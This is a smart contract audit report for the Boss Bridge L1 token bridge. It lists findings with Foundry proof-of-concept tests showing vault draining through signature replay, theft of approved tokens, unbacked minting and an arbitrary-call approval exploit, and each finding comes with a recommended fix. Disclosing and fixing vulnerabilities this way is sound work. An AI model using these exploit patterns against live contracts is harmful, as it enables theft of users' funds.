



boss-bridge-audit report

Version 1.0

Audit

February 3, 2024

boss-bridge-audit report

Badal Sharma

feb 3, 2024

Prepared by: Badal Sharma Lead Auditors: - Badal Sharma

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
 - Known Issues
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Users who give tokens approvals to [L1BossBridge](#) may have those assest stolen
 - * [H-2] Calling [depositTokensToL2](#) from the Vault contract to the Vault contract allows infinite minting of unbacked tokens
 - * [H-3] Lack of replay protection in [withdrawTokensToL1](#) allows withdrawals by signature to be replayed

- * [H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds
- * [H-5] `CREATE` opcode does not work on zksync era
- * [H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd
- * [H-7] `TokenFactory::deployToken` locks tokens forever
- Medium
 - * [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs
- Low
 - * [L-1] Lack of event emission during withdrawals and sending tokens to L1
 - * [L-2] `TokenFactory::deployToken` can create multiple token with same `symbol`
- Informational
 - * [I-1] Should be immutable
 - * [I-2] Ignore return value
 - * [I-3] Should be external instead of public
 - * [I-4] Should be private instead of public
 - * [I-5] Insufficient test coverage

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's a strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

We plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

Disclaimer

The Badal Sharma makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

Scope

```
1 ./src/  
2 #-- L1BossBridge.sol  
3 #-- L1Token.sol  
4 #-- L1Vault.sol  
5 #-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
 - Ethereum Mainnet:
 - * L1BossBridge.sol

- * L1Token.sol
- * L1Vault.sol
- * TokenFactory.sol
- ZKSync Era:
 - * TokenFactory.sol
- Tokens:
 - * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
 - pause/unpause the bridge in the event of an emergency
 - set [Signers](#) (see below)
- Signer: Users who can “send” a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call [depositTokensToL2](#), when they want to send tokens from L1 -> L2.

Known Issues

- We are aware the bridge is centralized and owned by a single user, aka it is centralized.
- We are missing some zero address checks/input validation intentionally to save gas.
- We have magic numbers defined as literals that should be constants.
- Assume the [deployToken](#) will always correctly have an L1Token.sol copy, and not some weird ERC20

Executive Summary

This code is audit by Badal Sharma.....

Issues found

Severty	No of issue found
High	7
Medium	1
Low	2
Info	5
Gas	0
Total	15

Findings

High

[H-1] Users who give tokens approvals to L1BossBridge may have those assest stolen

The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

As a PoC, include the following test in the `L1BossBridge.t.sol` file:

```
1 function testCanMoveApprovedTokensOfOtherUsers() public {
2     vm.prank(user);
3     token.approve(address(tokenBridge), type(uint256).max);
4
5     uint256 depositAmount = token.balanceOf(user);
6     vm.startPrank(attacker);
7     vm.expectEmit(address(tokenBridge));
8     emit Deposit(user, attackerInL2, depositAmount);
9     tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);
10
11     assertEq(token.balanceOf(user), 0);
12     assertEq(token.balanceOf(address(vault)), depositAmount);
13     vm.stopPrank();
14 }
```

Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
1 - function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
2 + function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
3     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
4         revert L1BossBridge__DepositLimitReached();
5     }
6 - token.transferFrom(from, address(vault), amount);
7 + token.transferFrom(msg.sender, address(vault), amount);
8
9     // Our off-chain service picks up this event and mints the
        corresponding tokens on L2
10 - emit Deposit(from, l2Recipient, amount);
11 + emit Deposit(msg.sender, l2Recipient, amount);
12 }
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

`depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
1 function testCanTransferFromVaultToVault() public {
2     vm.startPrank(attacker);
3
4     // assume the vault already holds some tokens
5     uint256 vaultBalance = 500 ether;
6     deal(address(token), address(vault), vaultBalance);
7
8     // Can trigger the `Deposit` event self-transferring tokens in the
        vault
9     vm.expectEmit(address(tokenBridge));
10    emit Deposit(address(vault), address(vault), vaultBalance);
11    tokenBridge.depositTokensToL2(address(vault), address(vault),
        vaultBalance);
12
13    // Any number of times
14    vm.expectEmit(address(tokenBridge));
```

```
15     emit Deposit(address(vault), address(vault), vaultBalance);
16     tokenBridge.depositTokensToL2(address(vault), address(vault),
        vaultBalance);
17
18     vm.stopPrank();
19 }
```

As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanism (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
1  function testCanReplayWithdrawals() public {
2      address attacker = makeAddr("attacker");
3      address attackerInL2 = makeAddr("attackerInL2");
4
5      // Assume the vault already holds some tokens
6      uint256 vaultInitialBalance = 1000e18;
7      uint256 attackerInitialBalance = 100e18;
8      deal(address(token), address(vault), vaultInitialBalance);
9      deal(address(token), address(attacker), attackerInitialBalance)
10         ;
11
12     // Balances
13     console2.log("Starting balance of attacker:", token.balanceOf(
        address(attacker)));
14     console2.log("Starting balance of vault:", token.balanceOf(
        address(vault)));
15
16     // An attacker deposits tokens to L2
17     vm.startPrank(attacker);
18     token.approve(address(tokenBridge), type(uint256).max);
19     tokenBridge.depositTokensToL2(attacker, attackerInL2,
        attackerInitialBalance);
20
21     // Operator signs withdrawal.
22     (uint8 v, bytes32 r, bytes32 s) =
```



```
22         _signMessage(_getTokenWithdrawalMessage(attacker,  
23             attackerInitialBalance), operator.key);  
24     // The attacker can reuse the signature and drain the vault.  
25     while (token.balanceOf(address(vault)) > 0) {  
26         tokenBridge.withdrawTokensToL1(attacker,  
27             attackerInitialBalance, v, r, s);  
28     }  
29     assertEq(token.balanceOf(address(attacker)),  
30         attackerInitialBalance + vaultInitialBalance);  
31     assertEq(token.balanceOf(address(vault)), 0);  
32     console2.log("Ending balance of attacker:", token.balanceOf(  
33         address(attacker)));  
34     console2.log("Ending balance of vault:", token.balanceOf(  
35         address(vault)));  
36 }
```

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] L1BossBridge::sendToL1 allowing arbitrary calls enables users to call L1Vault::approveTo and give themselves infinite allowance of vault funds

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes its `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
1 function testCanCallVaultApproveFromBridgeAndDrainVault() public {  
2     uint256 vaultInitialBalance = 1000e18;  
3     deal(address(token), address(vault), vaultInitialBalance);  
4 }
```

```
5    // An attacker deposits tokens to L2. We do this under the
6    // assumption that the
7    // bridge operator needs to see a valid deposit tx to then allow us
8    // to request a withdrawal.
9    vm.startPrank(attacker);
10   vm.expectEmit(address(tokenBridge));
11   emit Deposit(address(attacker), address(0), 0);
12   tokenBridge.depositTokensToL2(attacker, address(0), 0);
13
14   // Under the assumption that the bridge operator doesn't validate
15   // bytes being signed
16   bytes memory message = abi.encode(
17       address(vault), // target
18       0, // value
19       abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
20           uint256).max)) // data
21   );
22   (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
23       key);
24
25   tokenBridge.sendToL1(v, r, s, message);
26   assertEq(token.allowance(address(vault), attacker), type(uint256).
27       max);
28   token.transferFrom(address(vault), attacker, token.balanceOf(
29       address(vault)));
30 }
```

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] CREATE opcode does not work on zksync era

The `TokenFactory::deployToken` allows the owner to deploy a new ERC20 contract in Ethereum Mainnet and zksync era. However, the `CREATE` opcode will not function correctly on zksync era because the compiler is not aware of the bytecode beforehand.

- for more information- <https://docs.zksync.io/build/developer-reference/differences-with-ethereum.html#create-create2>

```
1 function deployToken(string memory symbol, bytes memory
2   contractBytecode) public onlyOwner returns (address addr) {
3   assembly {
4     addr := create(0, add(contractBytecode, 0x20), mload(
5       contractBytecode))
6   }
7   s_tokenToAddress[symbol] = addr;
8   emit TokenDeployed(symbol, addr);
9 }
```

[H-6] L1BossBridge::depositTokensToL2's DEPOSIT_LIMIT check allows contract to be DoS'd

Summary: In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2. However, `L1BossBridge::depositTokensToL2` has a `DEPOSIT_LIMIT` because of that the malicious actor can DOS attack.

Vulnerability Details: The function `depositTokensToL2` has a deposit limit that limits the amount of funds that a user can deposit into the bridges shown here

```
1  if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {  
2      revert L1BossBridge__DepositLimitReached();  
3  }
```

[https://github.com/Cyfrin/2023-11-Boss-Bridge/blob/1b33f63aef5b6b06acd99d49da65e1c71b40a4f7/src/L1BossBridge](https://github.com/Cyfrin/2023-11-Boss-Bridge/blob/1b33f63aef5b6b06acd99d49da65e1c71b40a4f7/src/L1BossBridge.sol#L100)

The problem is that it uses the contract balance to track this invariant, opening the door for a malicious actor to make a donation to the vault contract to ensure that the deposit limit is reached causing a potential victim's harmless deposit to unexpectedly revert. See modified foundry test below:

```
1  function testDepositTokensToL2AllowsDos() public {  
2      address user2 = makeAddr("user2");  
3  
4      vm.startPrank(user2);  
5      uint DOSamount = 20;  
6      deal(address(token), user2, DOSamount);  
7      token.approve(address(token), 20);  
8  
9      token.transfer(address(vault), 20);  
10     vm.stopPrank();  
11  
12  
13     vm.startPrank(user);  
14     uint256 amount = tokenBridge.DEPOSIT_LIMIT() - 9;  
15     deal(address(token), user, amount);  
16     token.approve(address(tokenBridge), amount);  
17  
18     vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.  
19         selector);  
20     tokenBridge.depositTokensToL2(user, userInL2, amount);  
21     vm.stopPrank();
```

Impact: User will not be able to deposit token to the bridge in some situations

Recommendations: Use a mapping to track the deposit limit of each use instead of using the contract balance

[H-7] TokenFactory::deployToken locks tokens forever

L1Token contract deployment from TokenFactory locks tokens forever

Vulnerability Details: `TokenFactory::deployToken` deploys `L1Token` contracts, but the `L1Token` mints initial supply to `msg.sender`, in this case, the `TokenFactory` contract itself. After deployment, there is no way to either transfer out these tokens or mint new ones, as the holder of the tokens, `TokenFactory`, has no functions for this, also not an upgradeable contract, so all token supply is locked forever.

Impact: High. Using this token factory to deploy tokens will result in unusable tokens, and no transfers can be made.

Recommendations: Consider passing a receiver address for the initial minted tokens, different from the `msg.sender`:

```
1 contract L1Token is ERC20 {
2     uint256 private constant INITIAL_SUPPLY = 1_000_000;
3
4     - constructor() ERC20("BossBridgeToken", "BBT") {
5     + constructor(address receiver) ERC20("BossBridgeToken", "BBT") {
6     -         _mint(msg.sender, INITIAL_SUPPLY * 10 ** decimals());
7     +         _mint(receiver, INITIAL_SUPPLY * 10 ** decimals());
8     }
9 }
```

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokens to L1

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

[L-2] TokenFactory::deployToken can create multiple token with same symbol

Summary: TokenFactory::deployToken is creating new token by taking token symbol and token contractByteCode as argument, owner can create multiple token with same symbol by mistake

Vulnerability Details: deployToken is not checking whether that token exists or not.

How it will work

Owner created a token with symbol TEST and it will store tokenAddress in s_tokenToAddress mapping. Again owner created a token with symbol TEST and this will replace the previous tokenAddress with symbol.

Here is the PoC

```
1
2 import { Test, console2 } from "forge-std/Test.sol";
3 import { ECDSA } from "openzeppelin/contracts/utils/cryptography/ECDSA.sol";
4 import { MessageHashUtils } from "openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
5 import { Ownable } from "openzeppelin/contracts/access/Ownable.sol";
6 import { Pausable } from "@openzeppelin/contracts/utils/Pausable.sol";
7 import { L1BossBridge, L1Vault } from "../src/L1BossBridge.sol";
8 import { IERC20 } from "openzeppelin/contracts/interfaces/IERC20.sol";
9 import { L1Token } from "../src/L1Token.sol";
10 import { TokenFactory } from "../src/TokenFactory.sol";
11
12 contract L1BossBridgeTest is Test {
13     event Deposit(address from, address to, uint256 amount);
14
15     address deployer = makeAddr("deployer");
16     address user = makeAddr("user");
17     address userInL2 = makeAddr("userInL2");
18     Account operator = makeAccount("operator");
19     TokenFactory tokenFactory;
```

```
20     address owner = makeAddr("owner");
21
22     L1Token token;
23     L1BossBridge tokenBridge;
24     L1Vault vault;
25     TokenFactory factory;
26
27     function setUp() public {
28         vm.startPrank(owner);
29         tokenFactory = new TokenFactory();
30         vm.stopPrank();
31
32         vm.startPrank(deployer);
33
34         // Deploy token and transfer the user some initial balance
35         token = new L1Token();
36         token.transfer(address(user), 1000e18);
37
38         // Deploy bridge
39         tokenBridge = new L1BossBridge(IERC20(token));
40         vault = tokenBridge.vault();
41
42         // Add a new allowed signer to the bridge
43         tokenBridge.setSigner(operator.addr, true);
44
45         factory = new TokenFactory();
46
47         vm.stopPrank();
48     }
49
50     function testcanCreateMultipleTokenWithSameSymbol() public {
51         vm.startPrank(owner);
52         address tokenAddress = tokenFactory.deployToken("TEST", type(
53             L1Token).creationCode);
54         address duplicate = tokenFactory.deployToken("TEST", type(
55             L1Token).creationCode);
56
57         // here you can see tokenAddress is the duplicate one
58         assertEquals(tokenFactory.getTokenAddressFromSymbol("TEST"),
59             duplicate);
60     }
61 }
```

To run test

- `forge test -mt test_can_create_duplicate_tokens -vvv`

Impact: If that token is being used in validation then all the token holders will lose funds

Recommendations: Use checks to see, if that token exists in `TokenFactory::deployToken`

```

1 +   if (s_tokenToAddress[symbol] != address(0)) {
2 +       revert TokenFactory_AlreadyExist();
3 +   }

```

Informational

[I-1] Should be immutable

- found in `L1Vault.sol`

```

1   IERC20 public token;

```

[I-2] Ignore return value

- found in `L1Vault.sol`

```

1 // ignore return value
2 function approveTo(address target, uint256 amount) external onlyOwner {
3     token.approve(target, amount);
4 }

```

[I-3] Should be external insted of public

- found in `TokenFactory::deployToken`
- found in `TokenFactory::getTokenAddressFromSymbol`

[I-4] Should be private insted of public

- found in `L1BossBridge::sendToL1`

[I-5] Insufficient test coverage

```

1 Running tests...
2 | File                | % Lines      | % Statements  | % Branches
3 | -----|-----|-----|-----|
4 | src/L1BossBridge.sol | 86.67% (13/15) | 90.00% (18/20) | 83.33% (5/6)

```

5		src/L1Vault.sol		0.00% (0/1)		0.00% (0/1)		100.00%
		(0/0) 0.00% (0/1)						
6		src/TokenFactory.sol		100.00% (4/4)		100.00% (4/4)		100.00%
		(0/0) 100.00% (2/2)						
7		Total		85.00% (17/20)		88.00% (22/25)		83.33% (5/6)
		77.78% (7/9)						

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.